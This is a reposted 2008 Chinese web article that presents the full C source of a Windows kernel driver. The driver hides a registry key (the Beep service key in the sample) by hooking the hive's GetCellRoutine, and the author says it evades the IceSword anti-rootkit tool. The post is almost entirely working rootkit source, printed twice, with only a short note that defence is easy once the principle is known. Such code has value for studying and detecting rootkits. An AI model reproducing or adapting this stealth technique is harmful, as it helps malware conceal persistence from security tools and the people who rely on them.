| 導購 | 订阅 | 在线投稿
分享
 
 
 

一段隱藏注冊表項的代碼

2008-08-27 06:57:59  編輯來源:互聯網  简体版  手機版  評論  字體: ||
 
  發一段隱藏注冊表項的驅動代碼,可以過目前最新的IceSword1.22。

  以前驅動開發網懸賞挑戰IceSword時寫的,不過最後沒公開。那時流氓軟件勢頭正勁,我可不想火上澆油。現在反流氓軟件日漸成熟,也就沒關系了。知道了原理,防禦是非常容易的。

  原理很簡單,實現的代碼也很短,啥都不用說,各位直接看示例代碼吧。

  #include <ntddk.h>

  #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

  #define CM_KEY_INDEX_ROOT 0x6972 // ir

  #define CM_KEY_INDEX_LEAF 0x696c // il

  #define CM_KEY_FAST_LEAF 0x666c // fl

  #define CM_KEY_HASH_LEAF 0x686c // hl

  // 一些CM的數據結構,只列出用到的開頭部分

  #pragma pack(1)

  typedef struct _CM_KEY_NODE {

   USHORT Signature;

   USHORT Flags;

   LARGE_INTEGER LastWriteTime;

   ULONG Spare; // used to be TitleIndex

   HANDLE Parent;

   ULONG SubKeyCounts[2]; // Stable and Volatile

   HANDLE SubKeyLists[2]; // Stable and Volatile

   // ...

  } CM_KEY_NODE, *PCM_KEY_NODE;

  typedef struct _CM_KEY_INDEX {

   USHORT Signature;

   USHORT Count;

   HANDLE List[1];

  } CM_KEY_INDEX, *PCM_KEY_INDEX;

  typedef struct _CM_KEY_BODY {

   ULONG Type; // "ky02"

   PVOID KeyControlBlock;

   PVOID NotifyBlock;

   PEPROCESS Process; // the owner process

   LIST_ENTRY KeyBodyList; // key_nodes using the same kcb

  } CM_KEY_BODY, *PCM_KEY_BODY;

  typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

  typedef struct _HHIVE {

   ULONG Signature;

   PGET_CELL_ROUTINE GetCellRoutine;

   // ...

  } HHIVE, *PHHIVE;

  #pragma pack()

  // 需隱藏的主鍵名

  WCHAR g_HideKeyName[] = L"\Registry\Machine\SYSTEM\CurrentControlSet\Services\Beep";

  PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;

  PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

  PCM_KEY_NODE g_HideNode = NULL;

  PCM_KEY_NODE g_LastNode = NULL;

  // 打開指定名字的Key

  HANDLE OpenKeyByName(PCWSTR pwcsKeyName)

  {

   NTSTATUS status;

   UNICODE_STRING uKeyName;

   OBJECT_ATTRIBUTES oa;

   HANDLE hKey;

   RtlInitUnicodeString(&uKeyName, pwcsKeyName);

   InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

   status = ZwOpenKey(&hKey, KEY_READ, &oa);

   if (!NT_SUCCESS(status))

   {

   DbgPrint("ZwOpenKey Failed: %lx\n", status);

   return NULL;

   }

   return hKey;

  }

  // 獲取指定Key句柄的KeyControlBlock

  PVOID GetKeyControlBlock(HANDLE hKey)

  {

   NTSTATUS status;

   PCM_KEY_BODY KeyBody;

   PVOID KCB;

   if (hKey == NULL) return NULL;

   // 由Key句柄獲取對象體

   status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);

   if (!NT_SUCCESS(status))

   {

   DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);

   return NULL;

   }

   // 對象體中含有KeyControlBlock

   KCB = KeyBody->KeyControlBlock;

   DbgPrint("KeyControlBlock = %lx\n", KCB);

   ObDereferenceObject(KeyBody);

   return KCB;

  }

  // 獲取父鍵的最後一個子鍵的節點

  PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)

  {

   // 獲取父鍵的節點

   PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);

   // 獲取子鍵的索引

   PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

   DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

   // 如果爲根(二級)索引,獲取最後一個索引

   if (Index->Signature == CM_KEY_INDEX_ROOT)

   {

   Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);

   DbgPrint("Index = %lx\n", Index);

   }

   if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)

   {

   // 快速葉索引(2k)或散列葉索引(XP/2k3),返回最後的節點

   return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);

   }

   else

   {

   // 一般葉索引,返回最後的節點

   return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);

   }

  }

  // GetCell例程的鈎子函數

  PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)

  {

   // 調用原函數

   PVOID pRet = g_pGetCellRoutine(Hive, Cell);

   if (pRet)

   {

   // 返回的是需要隱藏的節點

   if (pRet == g_HideNode)

   {

   DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);

   // 查詢、保存並返回其父鍵的最後一個子鍵的節點

   pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);

   DbgPrint("g_LastNode = %lx\n", g_LastNode);

   // 隱藏的正是最後一個節點,返回空值

   if (pRet == g_HideNode) pRet = NULL;

   }

   // 返回的是先前保存的最後一個節點

   else if (pRet == g_LastNode)

   {

   DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);

   // 清空保存值,並返回空值

   pRet = g_LastNode = NULL;

   }

   }

   return pRet;

  }

  NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)

  {

   DbgPrint("DriverUnload()\n");

   // 解除挂鈎

   if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;

   return STATUS_SUCCESS;

  }

  NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)

  {

   ULONG BuildNumber;

   ULONG KeyHiveOffset; // KeyControlBlock->KeyHive

   ULONG KeyCellOffset; // KeyControlBlock->KeyCell

   HANDLE hKey;

   PVOID KCB, Hive;

   DbgPrint("DriverEntry()\n");

   pDrvObj->DriverUnload = DriverUnload;

   // 查詢BuildNumber

   if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;

   DbgPrint("BuildNumber = %d\n", BuildNumber);

   // KeyControlBlock結構各版本略有不同

   // Cell的值一般小于0x80000000,而Hive正相反,以此來判斷也可以

   switch (BuildNumber)

   {

   case 2195: // Win2000

   KeyHiveOffset = 0xc;

   KeyCellOffset = 0x10;

   break;

   case 2600: // WinXP

   case 3790: // Win2003

   KeyHiveOffset = 0x10;

   KeyCellOffset = 0x14;

   break;

   default:

   return STATUS_NOT_SUPPORTED;

   }

   // 打開需隱藏的鍵

   hKey = OpenKeyByName(g_HideKeyName);

   // 獲取該鍵的KeyControlBlock

   KCB = GetKeyControlBlock(hKey);

   if (KCB)

   {

   // 由KCB得到Hive

   PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);

   // GetCellRoutine在KCB中,保存原地址

   g_ppGetCellRoutine = &Hive->GetCellRoutine;

   g_pGetCellRoutine = Hive->GetCellRoutine;

   DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);

   // 獲取需隱藏的節點並保存

   g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));

   // 挂鈎GetCell例程

   Hive->GetCellRoutine = MyGetCellRoutine;

   }

   ZwClose(hKey);

   return STATUS_SUCCESS;

  }
 
發一段隱藏注冊表項的驅動代碼,可以過目前最新的IceSword1.22。 以前驅動開發網懸賞挑戰IceSword時寫的,不過最後沒公開。那時流氓軟件勢頭正勁,我可不想火上澆油。現在反流氓軟件日漸成熟,也就沒關系了。知道了原理,防禦是非常容易的。 原理很簡單,實現的代碼也很短,啥都不用說,各位直接看示例代碼吧。 #include <ntddk.h> #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) ) #define CM_KEY_INDEX_ROOT 0x6972 // ir #define CM_KEY_INDEX_LEAF 0x696c // il #define CM_KEY_FAST_LEAF 0x666c // fl #define CM_KEY_HASH_LEAF 0x686c // hl // 一些CM的數據結構,只列出用到的開頭部分 #pragma pack(1) typedef struct _CM_KEY_NODE { USHORT Signature; USHORT Flags; LARGE_INTEGER LastWriteTime; ULONG Spare; // used to be TitleIndex HANDLE Parent; ULONG SubKeyCounts[2]; // Stable and Volatile HANDLE SubKeyLists[2]; // Stable and Volatile // ... } CM_KEY_NODE, *PCM_KEY_NODE; typedef struct _CM_KEY_INDEX { USHORT Signature; USHORT Count; HANDLE List[1]; } CM_KEY_INDEX, *PCM_KEY_INDEX; typedef struct _CM_KEY_BODY { ULONG Type; // "ky02" PVOID KeyControlBlock; PVOID NotifyBlock; PEPROCESS Process; // the owner process LIST_ENTRY KeyBodyList; // key_nodes using the same kcb } CM_KEY_BODY, *PCM_KEY_BODY; typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE); typedef struct _HHIVE { ULONG Signature; PGET_CELL_ROUTINE GetCellRoutine; // ... } HHIVE, *PHHIVE; #pragma pack() // 需隱藏的主鍵名 WCHAR g_HideKeyName[] = L"[url=file://\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep]\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep[/url]"; PGET_CELL_ROUTINE g_pGetCellRoutine = NULL; PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL; PCM_KEY_NODE g_HideNode = NULL; PCM_KEY_NODE g_LastNode = NULL; // 打開指定名字的Key HANDLE OpenKeyByName(PCWSTR pwcsKeyName) { NTSTATUS status; UNICODE_STRING uKeyName; OBJECT_ATTRIBUTES oa; HANDLE hKey; RtlInitUnicodeString(&uKeyName, pwcsKeyName); InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenKey(&hKey, KEY_READ, &oa); if (!NT_SUCCESS(status)) { DbgPrint("ZwOpenKey Failed: %lx\n", status); return NULL; } return hKey; } // 獲取指定Key句柄的KeyControlBlock PVOID GetKeyControlBlock(HANDLE hKey) { NTSTATUS status; PCM_KEY_BODY KeyBody; PVOID KCB; if (hKey == NULL) return NULL; // 由Key句柄獲取對象體 status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL); if (!NT_SUCCESS(status)) { DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status); return NULL; } // 對象體中含有KeyControlBlock KCB = KeyBody->KeyControlBlock; DbgPrint("KeyControlBlock = %lx\n", KCB); ObDereferenceObject(KeyBody); return KCB; } // 獲取父鍵的最後一個子鍵的節點 PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node) { // 獲取父鍵的節點 PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent); // 獲取子鍵的索引 PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]); DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index); // 如果爲根(二級)索引,獲取最後一個索引 if (Index->Signature == CM_KEY_INDEX_ROOT) { Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]); DbgPrint("Index = %lx\n", Index); } if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF) { // 快速葉索引(2k)或散列葉索引(XP/2k3),返回最後的節點 return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]); } else { // 一般葉索引,返回最後的節點 return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]); } } // GetCell例程的鈎子函數 PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell) { // 調用原函數 PVOID pRet = g_pGetCellRoutine(Hive, Cell); if (pRet) { // 返回的是需要隱藏的節點 if (pRet == g_HideNode) { DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet); // 查詢、保存並返回其父鍵的最後一個子鍵的節點 pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode); DbgPrint("g_LastNode = %lx\n", g_LastNode); // 隱藏的正是最後一個節點,返回空值 if (pRet == g_HideNode) pRet = NULL; } // 返回的是先前保存的最後一個節點 else if (pRet == g_LastNode) { DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet); // 清空保存值,並返回空值 pRet = g_LastNode = NULL; } } return pRet; } NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj) { DbgPrint("DriverUnload()\n"); // 解除挂鈎 if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine; return STATUS_SUCCESS; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath) { ULONG BuildNumber; ULONG KeyHiveOffset; // KeyControlBlock->KeyHive ULONG KeyCellOffset; // KeyControlBlock->KeyCell HANDLE hKey; PVOID KCB, Hive; DbgPrint("DriverEntry()\n"); pDrvObj->DriverUnload = DriverUnload; // 查詢BuildNumber if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED; DbgPrint("BuildNumber = %d\n", BuildNumber); // KeyControlBlock結構各版本略有不同 // Cell的值一般小于0x80000000,而Hive正相反,以此來判斷也可以 switch (BuildNumber) { case 2195: // Win2000 KeyHiveOffset = 0xc; KeyCellOffset = 0x10; break; case 2600: // WinXP case 3790: // Win2003 KeyHiveOffset = 0x10; KeyCellOffset = 0x14; break; default: return STATUS_NOT_SUPPORTED; } // 打開需隱藏的鍵 hKey = OpenKeyByName(g_HideKeyName); // 獲取該鍵的KeyControlBlock KCB = GetKeyControlBlock(hKey); if (KCB) { // 由KCB得到Hive PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive); // GetCellRoutine在KCB中,保存原地址 g_ppGetCellRoutine = &Hive->GetCellRoutine; g_pGetCellRoutine = Hive->GetCellRoutine; DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine); // 獲取需隱藏的節點並保存 g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell)); // 挂鈎GetCell例程 Hive->GetCellRoutine = MyGetCellRoutine; } ZwClose(hKey); return STATUS_SUCCESS; }
󰈣󰈤
 
 
 
>>返回首頁<<
 
 
 
 
 熱帖排行
 
王朝網路微信公眾號
微信掃碼關註本站公眾號 wangchaonetcn
 
  免責聲明:本文僅代表作者個人觀點,與王朝網絡無關。王朝網絡登載此文出於傳遞更多信息之目的,並不意味著贊同其觀點或證實其描述,其原創性以及文中陳述文字和內容未經本站證實,對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾,請讀者僅作參考,並請自行核實相關內容。
 
© 2005- 王朝網路 版權所有